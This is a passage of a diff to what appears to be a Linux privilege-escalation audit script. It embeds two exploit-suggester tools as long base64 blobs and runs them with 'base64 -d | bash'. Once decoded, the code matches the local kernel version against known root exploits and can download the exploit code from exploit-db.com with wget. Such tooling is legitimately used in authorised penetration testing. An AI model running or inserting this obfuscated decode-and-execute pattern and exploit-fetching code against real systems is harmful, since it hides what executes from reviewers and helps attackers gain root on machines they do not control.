BRz0iJHtsaWdodHllbGxvd31bICR0YWdfZGlzdHJvPSR0YWdfZGlzdHJvX251bSBdJHt0eHRyc3R9e2tlcm5lbDokdGFnX3BrZ19udW19IgogICAgICAgICAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgICAgICAjIHBrZyB2ZXJzaW9uIHByb3ZpZGVkLCBjaGVjayBmb3IgbWF0Y2ggKFRCRCk6CiAgICAgICAgICAgICAgICAgICAgZWxpZiBbIC1uICIkdGFnX3BrZ19udW0iIC1hIC1uICIkdGFnX3BrZyIgIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgVEFHPSIke2xpZ2h0eWVsbG93fVsgJHRhZ19kaXN0cm89JHRhZ19kaXN0cm9fbnVtIF0ke3R4dHJzdH17JHRhZ19wa2c6JHRhZ19wa2dfbnVtfSIKICAgICAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgIGZpCgogICAgICAgICAgICAgICAgIyBhcHBlbmQgY3VycmVudCB0YWcgdG8gdGFncyBsaXN0CiAgICAgICAgICAgICAgICB0YWdzPSIke3RhZ3N9JHtUQUd9LCIKICAgICAgICAgICAgZG9uZQogICAgICAgICAgICAjIHRyaW0gJywnIGFkZGVkIGJ5IGFib3ZlIGxvb3AKICAgICAgICAgICAgWyAtbiAiJHRhZ3MiIF0gJiYgdGFncz0iJHt0YWdzJT99IgogICAgICAgIGVsc2UKICAgICAgICAgICAgdGFncz0iJFRBR1MiCiAgICAgICAgZmkKCiAgICAgICAgIyBpbnNlcnQgdGhlIG1hdGNoZWQgZXhwbG9pdCAod2l0aCBjYWxjdWxhdGVkIFJhbmsgYW5kIGhpZ2hsaWdodGVkIHRhZ3MpIHRvIGFycmFyeSB0aGF0IHdpbGwgYmUgc29ydGVkCiAgICAgICAgRVhQPSQoZWNobyAiJEVYUCIgfCBzZWQgLWUgJy9eTmFtZTovZCcgLWUgJy9eUmVxczovZCcgLWUgJy9eVGFnczovZCcpCiAgICAgICAgZXhwbG9pdHNfdG9fc29ydFtqXT0iJHtSQU5LfU5hbWU6ICR7TkFNRX1EM0wxbVJlcXM6ICR7UkVRU31EM0wxbVRhZ3M6ICR7dGFnc31EM0wxbSQoZWNobyAiJEVYUCIgfCBzZWQgLWUgJzphJyAtZSAnTicgLWUgJyQhYmEnIC1lICdzL1xuL0QzTDFtL2cnKSIKICAgICAgICAoKGorKykpCiAgICBmaQpkb25lCgojIHNvcnQgZXhwbG9pdHMgYmFzZWQgb24gY2FsY3VsYXRlZCBSYW5rCklGUz0kJ1xuJwpTT1JURURfRVhQTE9JVFM9KCQoc29ydCAtciA8PDwiJHtleHBsb2l0c190b19zb3J0WypdfSIpKQp1bnNldCBJRlMKCiMgZGlzcGxheSBzb3J0ZWQgZXhwbG9pdHMKZm9yIEVYUF9URU1QIGluICIke1NPUlRFRF9FWFBMT0lUU1tAXX0iOyBkbwoKCVJBTks9JChlY2hvICIkRVhQX1RFTVAiIHwgYXdrIC1GJ05hbWU6JyAne3ByaW50ICQxfScpCgoJIyBjb252ZXJ0IGVudHJ5IGJhY2sgdG8gY2Fub25pY2FsIGZvcm0KCUVYUD0kKGVjaG8gIiRFWFBfVEVNUCIgfCBzZWQgJ3MvXlswLTldLy9nJyB8IHNlZCAncy9EM0wxbS9cbi9nJykKCgkjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRFWFAiCgogICAgTkFNRT0iJHthcnJbMF19IiAmJiBOQU1FPSIke05BTUU6Nn0iCiAgICBSRVFTPSIke2FyclsxXX0iICYmIFJFUVM9IiR7UkVRUzo2fSIKICAgIFRBR1M9IiR7YXJyWzJdfSIgJiYgdGFncz0iJHtUQUdTOjZ9IgoKCUVYUExPSVRfREI9JChlY2hvICIkRVhQIiB8IGdyZXAgImV4cGxvaXQtZGI6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJYW5hbHlzaXNfdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJhbmFseXNpcy11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJZXh0X3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiZXh0LXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCgljb21tZW50cz0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiQ29tbWVudHM6ICIgfCBjdXQgLWQnICcgLWYgMi0pCglyZXFzPSQoZWNobyAiJEVYUCIgfCBncmVwICJSZXFzOiAiIHwgY3V0IC1kJyAnIC1mIDIpCgoJIyBleHBsb2l0IG5hbWUgd2l0aG91dCBDVkUgbnVtYmVyIGFuZCB3aXRob3V0IGNvbW1vbmx5IHVzZWQgc3BlY2lhbCBjaGFycwoJbmFtZT0kKGVjaG8gIiROQU1FIiB8IGN1dCAtZCcgJyAtZiAyLSB8IHRyIC1kICcgKCkvJykKCgliaW5fdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJiaW4tdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCXNyY191cmw9JChlY2hvICIkRVhQIiB8IGdyZXAgInNyYy11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJWyAteiAiJHNyY191cmwiIF0gJiYgWyAtbiAiJEVYUExPSVRfREIiIF0gJiYgc3JjX3VybD0iaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZG93bmxvYWQvJEVYUExPSVRfREIiCglbIC16ICIkc3JjX3VybCIgXSAmJiBbIC16ICIkYmluX3VybCIgXSAmJiBleGl0V2l0aEVyck1zZyAiJ3NyYy11cmwnIC8gJ2Jpbi11cmwnIC8gJ2V4cGxvaXQtZGInIGVudHJpZXMgYXJlIGFsbCBlbXB0eSBmb3IgJyROQU1FJyBleHBsb2l0IC0gZml4IHRoYXQuIEFib3J0aW5nLiIKCglpZiBbIC1uICIkYW5hbHlzaXNfdXJsIiBdOyB0aGVuCiAgICAgICAgZGV0YWlscz0iJGFuYWx5c2lzX3VybCIKCWVsaWYgJChlY2hvICIkc3JjX3VybCIgfCBncmVwIC1xICd3d3cuZXhwbG9pdC1kYi5jb20nKTsgdGhlbgogICAgICAgIGRldGFpbHM9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLyRFWFBMT0lUX0RCLyIKCWVsaWYgW1sgIiRzcmNfdXJsIiA9fiBeLip0Z3p8dGFyLmd6fHppcCQgJiYgLW4gIiRFWFBMT0lUX0RCIiBdXTsgdGhlbgogICAgICAgIGRldGFpbHM9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLyRFWFBMT0lUX0RCLyIKCWVsc2UKICAgICAgICBkZXRhaWxzPSIkc3JjX3VybCIKCWZpCgoJIyBza2lwIERvUyBieSBkZWZhdWx0Cglkb3M9JChlY2hvICIkRVhQIiB8IGdyZXAgLW8gLWkgIihkb3MiKQoJWyAiJG9wdF9zaG93X2RvcyIgPT0gImZhbHNlIiBdICYmIFsgLW4gIiRkb3MiIF0gJiYgY29udGludWUKCgkjIGhhbmRsZXMgLS1mZXRjaC1iaW5hcmllcyBvcHRpb24KCWlmIFsgJG9wdF9mZXRjaF9iaW5zID0gInRydWUiIF07IHRoZW4KICAgICAgICBmb3IgaSBpbiAkKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYmluLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpOyBkbwogICAgICAgICAgICBbIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIiBdICYmIHJtIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIgogICAgICAgICAgICB3Z2V0IC1xIC1rICIkaSIgLU8gIiR7bmFtZX1fJChiYXNlbmFtZSAkaSkiCiAgICAgICAgZG9uZQogICAgZmkKCgkjIGhhbmRsZXMgLS1mZXRjaC1zb3VyY2VzIG9wdGlvbgoJaWYgWyAkb3B0X2ZldGNoX3NyY3MgPSAidHJ1ZSIgXTsgdGhlbgogICAgICAgIFsgLWYgIiR7bmFtZX1fJChiYXNlbmFtZSAkc3JjX3VybCkiIF0gJiYgcm0gLWYgIiR7bmFtZX1fJChiYXNlbmFtZSAkc3JjX3VybCkiCiAgICAgICAgd2dldCAtcSAtayAiJHNyY191cmwiIC1PICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIiAmCiAgICBmaQoKICAgICMgZGlzcGxheSByZXN1bHQgKHNob3J0KQoJaWYgWyAiJG9wdF9zdW1tYXJ5IiA9ICJ0cnVlIiBdOyB0aGVuCglbIC16ICIkdGFncyIgXSAmJiB0YWdzPSItIgoJZWNobyAtZSAiJE5BTUUgfHwgJHRhZ3MgfHwgJHNyY191cmwiCgljb250aW51ZQoJZmkKCiMgZGlzcGxheSByZXN1bHQgKHN0YW5kYXJkKQoJZWNobyAtZSAiWytdICROQU1FIgoJZWNobyAtZSAiXG4gICBEZXRhaWxzOiAkZGV0YWlscyIKICAgICAgICBlY2hvIC1lICIgICBFeHBvc3VyZTogJChkaXNwbGF5RXhwb3N1cmUgJFJBTkspIgogICAgICAgIFsgLW4gIiR0YWdzIiBdICYmIGVjaG8gLWUgIiAgIFRhZ3M6ICR0YWdzIgogICAgICAgIGVjaG8gLWUgIiAgIERvd25sb2FkIFVSTDogJHNyY191cmwiCiAgICAgICAgWyAtbiAiJGV4dF91cmwiIF0gJiYgZWNobyAtZSAiICAgZXh0LXVybDogJGV4dF91cmwiCiAgICAgICAgWyAtbiAiJGNvbW1lbnRzIiBdICYmIGVjaG8gLWUgIiAgIENvbW1lbnRzOiAkY29tbWVudHMiCgogICAgICAgICMgaGFuZGxlcyAtLWZ1bGwgZmlsdGVyIG9wdGlvbgogICAgICAgIGlmIFsgIiRvcHRfZnVsbCIgPSAidHJ1ZSIgXTsgdGhlbgogICAgICAgICAgICBbIC1uICIkcmVxcyIgXSAmJiBlY2hvIC1lICIgICBSZXF1aXJlbWVudHM6ICRyZXFzIgoKICAgICAgICAgICAgWyAtbiAiJEVYUExPSVRfREIiIF0gJiYgZWNobyAtZSAiICAgZXhwbG9pdC1kYjogJEVYUExPSVRfREIiCgogICAgICAgICAgICBhdXRob3I9JChlY2hvICIkRVhQIiB8IGdyZXAgImF1dGhvcjogIiB8IGN1dCAtZCcgJyAtZiAyLSkKICAgICAgICAgICAgWyAtbiAiJGF1dGhvciIgXSAmJiBlY2hvIC1lICIgICBhdXRob3I6ICRhdXRob3IiCiAgICAgICAgZmkKCiAgICAgICAgZWNobwoKZG9uZQo=" + echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g" echo "" fi @@ -1303,7 +1472,7 @@ if [ "$(command -v perl 2>/dev/null)" ]; then print_2title "Executing Linux Exploit Suggester 2" print_info "https://github.com/jondonas/linux-exploit-suggester-2" les2_b64="IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7CnVzZSB3YXJuaW5nczsKdXNlIEdldG9wdDo6U3RkOwoKb3VyICRWRVJTSU9OID0gJzInOwoKbXkgJW9wdHM7CmdldG9wdHMoICdrOmhkJywgXCVvcHRzICk7CmlmIChleGlzdHMgJG9wdHN7aH0pIHsKICAgIHVzYWdlKCk7CiAgICBleGl0Owp9OwoKcHJpbnRfYmFubmVyKCk7Cm15ICggJGtob3N0LCAkaXNfcGFydGlhbCApID0gZ2V0X2tlcm5lbCgpOwpwcmludCAiICBMb2NhbCBLZXJuZWw6IFxlWzAwOzMzbSRraG9zdFxlWzAwbVxuIjsKCm15ICVleHBsb2l0cyA9IGdldF9leHBsb2l0cygpOwpwcmludCAnICBTZWFyY2hpbmcgJyAuIHNjYWxhciBrZXlzKCVleHBsb2l0cykgLiAiIGV4cGxvaXRzLi4uXG5cbiI7CnByaW50ICIgIFxlWzE7MzVtUG9zc2libGUgRXhwbG9pdHNcZVswMG1cbiI7CgpteSAkY291bnQgPSAxOwpteSBAYXBwbGljYWJsZSA9ICgpOwpFWFBMT0lUOgpmb3JlYWNoIG15ICRrZXkgKCBzb3J0IGtleXMgJWV4cGxvaXRzICkgewogICAgZm9yZWFjaCBteSAka2VybmVsICggQHsgJGV4cGxvaXRzeyRrZXl9e3Z1bG59IH0gKSB7CgogICAgICAgIGlmICggICAgICRraG9zdCBlcSAka2VybmVsCiAgICAgICAgICAgICAgb3IgKCAkaXNfcGFydGlhbCBhbmQgaW5kZXgoJGtlcm5lbCwka2hvc3QpID09IDAgKQogICAgICAgICkgewogICAgICAgICAgICAkZXhwbG9pdHN7JGtleX17a2V5fSA9ICRrZXk7CiAgICAgICAgICAgIHB1c2goQGFwcGxpY2FibGUsICRleHBsb2l0c3ska2V5fSk7CiAgICAgICAgICAgIHByaW50ICIgIFxlWzAwOzMzbVtcZVswMG1cZVswMDszMW0kY291bnRcZVswMG1cZVswMDszM21dXGVbMDBtICI7CiAgICAgICAgICAgIHByaW50ICJcZVswMDszM20ka2V5XGVbMDBtIjsKICAgICAgICAgICAgcHJpbnQgIiBcZVswMDszM20oJGtlcm5lbClcZVswMG0iIGlmICRpc19wYXJ0aWFsOwoKICAgICAgICAgICAgbXkgJGFsdCA9ICRleHBsb2l0c3ska2V5fXthbHR9OwogICAgICAgICAgICBteSAkY3ZlID0gJGV4cGxvaXRzeyRrZXl9e2N2ZX07CiAgICAgICAgICAgIG15ICRtbHcgPSAkZXhwbG9pdHN7JGtleX17bWlsfTsKICAgICAgICAgICAgaWYgKCAkYWx0IG9yICRjdmUgKSB7CiAgICAgICAgICAgICAgICBwcmludCAiXG4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICggJGFsdCApIHsgcHJpbnQgIiAgICAgIEFsdDogJGFsdCAiOyB9CiAgICAgICAgICAgIGlmICggJGN2ZSApIHsgcHJpbnQgIiAgICAgIENWRS0kY3ZlIjsgfQogICAgICAgICAgICBpZiAoICRtbHcgKSB7IHByaW50ICJcbiAgICAgIFNvdXJjZTogJG1sdyI7IH0KICAgICAgICAgICAgcHJpbnQgIlxuIjsKICAgICAgICAgICAgJGNvdW50ICs9IDE7CiAgICAgICAgICAgIG5leHQgRVhQTE9JVDsKICAgICAgICB9CiAgICB9Cn0KcHJpbnQgIlxuIjsKCmlmICghQGFwcGxpY2FibGUpIHsKICAgIHByaW50ICIgIE5vIGV4cGxvaXRzIGFyZSBhdmFpbGFibGUgZm9yIHRoaXMga2VybmVsIHZlcnNpb25cblxuIjsKICAgIGV4aXQ7Cn0KCmlmIChleGlzdHMgJG9wdHN7ZH0pIHsKICAgIHByaW50ICIgIFxlWzE7MzZtRXhwbG9pdCBEb3dubG9hZFxlWzAwbVxuIjsKICAgIHByaW50ICIgIChEb3dubG9hZCBhbGw6IFxlWzAwOzMzbSdhJ1xlWzAwbSAvIEluZGl2aWR1YWxseTogXGVbMDA7MzNtJzIsNCw1J1xlWzAwbSAiOwogICAgcHJpbnQgIi8gRXhpdDogXGVbMDA7MzNtXmNcZVswMG0pXG4iOwogICAgcHJpbnQgIiAgU2VsZWN0IGV4cGxvaXRzIHRvIGRvd25sb2FkOiAiOwoKICAgIHdoaWxlICgxKSB7CiAgICAgICAgbXkgJGlucHV0ID0gPFNURElOPjsKICAgICAgICAkaW5wdXQgPX4gcy9ccysvL2c7CgogICAgICAgIGlmICgkaW5wdXQgPX4gL15hJC8pIHsKICAgICAgICAgICAgbXkgQHNlbGVjdGVkID0gKCk7CiAgICAgICAgICAgIGZvciAobXkgJGk9MTsgJGkgPD0gc2NhbGFyIEBhcHBsaWNhYmxlOyAkaSsrKSB7CiAgICAgICAgICAgICAgIHB1c2goQHNlbGVjdGVkLCAkaSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZG93bmxvYWRfZXhwbG9pdHMoXEBzZWxlY3RlZCwgXEBhcHBsaWNhYmxlKTsKICAgICAgICAgICAgbGFzdDsKICAgICAgICB9CiAgICAgICAgZWxzaWYgKCRpbnB1dCA9fiAvXigwfFsxLTldWzAtOV0qKSgsKDB8WzEtOV1bMC05XSopKSokLykgewogICAgICAgICAgICBteSBAc2VsZWN0ZWQgPSB1bmlxKHNwbGl0KCcsJywgJGlucHV0KSk7CiAgICAgICAgICAgIEBzZWxlY3RlZCA9IHNvcnQgeyRhIDw9PiAkYn0gQHNlbGVjdGVkOwogICAgICAgICAgICBpZiAoJHNlbGVjdGVkWzBdID4gMCAmJiAkc2VsZWN0ZWRbLTFdIDw9IHNjYWxhciBAYXBwbGljYWJsZSkgewogICAgICAgICAgICAgICAgZG93bmxvYWRfZXhwbG9pdHMoXEBzZWxlY3RlZCwgXEBhcHBsaWNhYmxlKTsKICAgICAgICAgICAgICAgIGxhc3Q7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgIHByaW50ICIgIFxlWzAwOzMxbUlucHV0IGlzIG91dCBvZiByYW5nZS5cZVswMG0gU2VsZWN0IGV4cGxvaXRzIHRvIGRvd25sb2FkOiAiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICBwcmludCAiICBcZVswMDszMW1JbnZhbGlkIGlucHV0LlxlWzAwbSBTZWxlY3QgZXhwbG9pdHMgdG8gZG93bmxvYWQ6ICI7CiAgICAgICAgfQogICAgfQp9OwpleGl0OwoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyBleHRyYSBmdW5jdGlvbnMgICMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCnN1YiBnZXRfa2VybmVsIHsKICAgIG15ICRraG9zdCA9ICcnOwoKICAgIGlmICggZXhpc3RzICRvcHRze2t9ICkgewogICAgICAgICRraG9zdCA9ICRvcHRze2t9OwogICAgfQogICAgZWxzZSB7CiAgICAgICAgJGtob3N0ID0gYHVuYW1lIC1yIHxjdXQgLWQiLSIgLWYxYDsKICAgICAgICBjaG9tcCAka2hvc3Q7CiAgICB9CgogICAgaWYgKCFkZWZpbmVkICRraG9zdCB8fCAhKCRraG9zdCA9fiAvXlswLTldKyhbLl1bMC05XSspKiQvKSkgewogICAgICAgIHByaW50ICIgIFxlWzAwOzMxbVNwZWNpZmllZCBrZXJuZWwgaXMgaW4gdGhlIHdyb25nIGZvcm1hdFxlWzAwbVxuIjsKICAgICAgICBwcmludCAiICBUcnkgYSBrZXJuZWwgZm9ybWF0IGxpa2UgdGhpczogMy4yLjBcblxuIjsKICAgICAgICBleGl0OwogICAgfQoKICAgICMgcGFydGlhbCBrZXJuZWxzIG1pZ2h0IGJlIHByb3ZpZGVkIGJ5IHRoZSB1c2VyLAogICAgIyBzdWNoIGFzICcyLjQnIG9yICcyLjYuJwogICAgbXkgJGlzX3BhcnRpYWwgPSAka2hvc3QgPX4gL15cZCtcLlxkK1wuXGQ/LyA/IDAgOiAxOwogICAgcmV0dXJuICggJGtob3N0LCAkaXNfcGFydGlhbCApOwp9CgpzdWIgZG93bmxvYWRfZXhwbG9pdHMgewogICAgbXkgKCRzcmVmLCAkYXJlZikgPSBAXzsKICAgIG15IEBzZWxlY3RlZCA9IEB7ICRzcmVmIH07CiAgICBteSBAYXBwbGljYWJsZSA9IEB7ICRhcmVmIH07CiAgICBteSAkZXhwbG9pdF9iYXNlID0gInd3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cyI7CiAgICBteSAkZG93bmxvYWRfYmFzZSA9ICJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9yYXcvIjsKICAgIHByaW50ICJcbiI7CgogICAgZm9yZWFjaCBteSAkbnVtIChAc2VsZWN0ZWQpIHsKICAgICAgICBteSAkbWlsID0gJGFwcGxpY2FibGVbJG51bS0xXXttaWx9OwogICAgICAgIG5leHQgaWYgKCFkZWZpbmVkICRtaWwpOwogICAgICAgIG15ICgkZXhwbG9pdF9udW0pID0gKCRtaWwgPX4gL14uKlwvKFsxLTldWzAtOV0qKVwvPyQvKTsKICAgICAgICAKICAgICAgICBpZiAoJGV4cGxvaXRfbnVtICYmIGluZGV4KCRtaWwsICRleHBsb2l0X2Jhc2UpICE9IC0xKSB7CiAgICAgICAgICAgIG15ICR1cmwgPSAkZG93bmxvYWRfYmFzZSAuICRleHBsb2l0X251bTsKICAgICAgICAgICAgbXkgJGZpbGUgPSAiZXhwbG9pdF8kYXBwbGljYWJsZVskbnVtLTFde2tleX0iOwogICAgICAgICAgICBwcmludCAiICBEb3dubG9hZGluZyBcZVswMDszM20kdXJsXGVbMDBtIC0+IFxlWzAwOzMzbSRmaWxlXGVbMDBtXG4iOwogICAgICAgICAgICBzeXN0ZW0gIndnZXQgJHVybCAtTyAkZmlsZSA+IC9kZXYvbnVsbCAyPiYxIjsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIHByaW50ICIgIE5vIGV4cGxvaXQgY29kZSBhdmFpbGFibGUgZm9yIFxlWzAwOzMzbSRhcHBsaWNhYmxlWyRudW0tMV17a2V5fVxlWzAwbVxuIjsgCiAgICAgICAgfQogICAgfQogICAgcHJpbnQgIlxuIjsKfQoKc3ViIHVuaXEgewogICAgbXkgJXNlZW47CiAgICBncmVwICEkc2VlbnskX30rKywgQF87Cn0KCnN1YiB1c2FnZSB7CnByaW50X2Jhbm5lcigpOwpwcmludCAiICBcZVswMDszNW1Vc2FnZTpcZVswMG0gJDAgWy1oXSBbLWsga2VybmVsXSBbLWRdXG5cbiI7CnByaW50ICIgIFxlWzAwOzMzbVtcZVswMG1cZVswMDszMW0taFxlWzAwbVxlWzAwOzMzbV1cZVswMG0gSGVscCAodGhpcyBtZXNzYWdlKVxuIjsKcHJpbnQgIiAgXGVbMDA7MzNtW1xlWzAwbVxlWzAwOzMxbS1rXGVbMDBtXGVbMDA7MzNtXVxlWzAwbSBLZXJuZWwgbnVtYmVyIChlZy4gMi42LjI4KVxuIjsKcHJpbnQgIiAgXGVbMDA7MzNtW1xlWzAwbVxlWzAwOzMxbS1kXGVbMDBtXGVbMDA7MzNtXVxlWzAwbSBPcGVuIGV4cGxvaXQgZG93bmxvYWQgbWVudVxuXG4iOwoKcHJpbnQgIiAgWW91IGNhbiBhbHNvIHByb3ZpZGUgYSBwYXJ0aWFsIGtlcm5lbCB2ZXJzaW9uIChlZy4gMi40KVxuIjsKcHJpbnQgIiAgdG8gc2VlIGFsbCBleHBsb2l0cyBhdmFpbGFibGUuXG5cbiI7Cn0KCnN1YiBwcmludF9iYW5uZXIgewpwcmludCAiXG5cZVswMDszM20gICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtXG4iOwpwcmludCAiXGVbMTszMW0gICAgTGludXggRXhwbG9pdCBTdWdnZXN0ZXIgJFZFUlNJT05cZVswMG1cbiI7CnByaW50ICJcZVswMDszM20gICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtXG5cbiI7Cn0KCnN1YiBnZXRfZXhwbG9pdHMgewogIHJldHVybiAoCiAgICAndzAwdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjEwJywgJzIuNC4xNicsICcyLjQuMTcnLCAnMi40LjE4JywKICAgICAgICAgICAgJzIuNC4xOScsICcyLjQuMjAnLCAnMi40LjIxJywKICAgICAgICBdCiAgICB9LAogICAgJ2JyaycgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi40LjEwJywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsICcyLjQuMjInIF0sCiAgICB9LAogICAgJ2F2ZScgPT4geyB2dWxuID0+IFsgJzIuNC4xOScsICcyLjQuMjAnIF0gfSwKCiAgICAnZWxmbGJsJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzIuNC4yOSddLAogICAgICAgIG1pbCAgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNzQ0JywKICAgIH0sCgogICAgJ2VsZmR1bXAnICAgICAgPT4geyB2dWxuID0+IFsnMi40LjI3J10gfSwKICAgICdlbGZjZCcgICAgICAgID0+IHsgdnVsbiA9PiBbJzIuNi4xMiddIH0sCiAgICAnZXhwYW5kX3N0YWNrJyA9PiB7IHZ1bG4gPT4gWycyLjQuMjknXSB9LAoKICAgICdoMDBseXNoaXQnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi44JywgICcyLjYuMTAnLCAnMi42LjExJywgJzIuNi4xMicsCiAgICAgICAgICAgICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDA2LTM2MjYnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDEzJywKICAgIH0sCgogICAgJ2tkdW1wJyA9PiB7IHZ1bG4gPT4gWycyLjYuMTMnXSB9LAogICAgJ2ttMicgICA9PiB7IHZ1bG4gPT4gWyAnMi40LjE4JywgJzIuNC4yMicgXSB9LAogICAgJ2tyYWQnID0+CiAgICAgIHsgdnVsbiA9PiBbICcyLjYuNScsICcyLjYuNycsICcyLjYuOCcsICcyLjYuOScsICcyLjYuMTAnLCAnMi42LjExJyBdIH0sCgogICAgJ2tyYWQzJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuNScsICcyLjYuNycsICcyLjYuOCcsICcyLjYuOScsICcyLjYuMTAnLCAnMi42LjExJyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL2V4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzEzOTcnLAogICAgfSwKCiAgICAnbG9jYWwyNicgPT4geyB2dWxuID0+IFsnMi42LjEzJ10gfSwKICAgICdsb2tvJyAgICA9PiB7IHZ1bG4gPT4gWyAnMi40LjIyJywgJzIuNC4yMycsICcyLjQuMjQnIF0gfSwKCiAgICAnbXJlbWFwX3B0ZScgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi40LjIwJywgJzIuMi4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycgXSwKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTYwJywKICAgIH0sCgogICAgJ25ld2xvY2FsJyA9PiB7IHZ1bG4gPT4gWyAnMi40LjE3JywgJzIuNC4xOScgXSB9LAogICAgJ29uZ19iYWsnICA9PiB7IHZ1bG4gPT4gWycyLjYuNSddIH0sCiAgICAncHRyYWNlJyA9PgogICAgICB7IHZ1bG4gPT4gWyAnMi40LjE4JywgJzIuNC4xOScsICcyLjQuMjAnLCAnMi40LjIxJywgJzIuNC4yMicgXSB9LAogICAgJ3B0cmFjZV9rbW9kJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjQuMTgnLCAnMi40LjE5JywgJzIuNC4yMCcsICcyLjQuMjEnLCAnMi40LjIyJyBdLAogICAgICAgIGN2ZSAgPT4gJzIwMDctNDU3MycsCiAgICB9LAogICAgJ3B0cmFjZV9rbW9kMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywgJzIuNi4zMCcsICcyLjYuMzEnLAogICAgICAgICAgICAnMi42LjMyJywgJzIuNi4zMycsICcyLjYuMzQnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdpYTMyc3lzY2FsbCxyb2JlcnRfeW91X3N1Y2snLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTAyMycsCiAgICAgICAgY3ZlID0+ICcyMDEwLTMzMDEnLAogICAgfSwKICAgICdwdHJhY2UyNCcgPT4geyB2dWxuID0+IFsnMi40LjknXSB9LAogICAgJ3B3bmVkJyAgICA9PiB7IHZ1bG4gPT4gWycyLjYuMTEnXSB9LAogICAgJ3B5MicgICAgICA9PiB7IHZ1bG4gPT4gWyAnMi42LjknLCAnMi42LjE3JywgJzIuNi4xNScsICcyLjYuMTMnIF0gfSwKICAgICdyYXB0b3JfcHJjdGwnID0+IHsKICAgICAgICB2dWxuID0+IFsgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnIF0sCiAgICAgICAgY3ZlICA9PiAnMjAwNi0yNDUxJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMjAzMScsCiAgICB9LAogICAgJ3ByY3RsJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA0JywKICAgIH0sCiAgICAncHJjdGwyJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsIC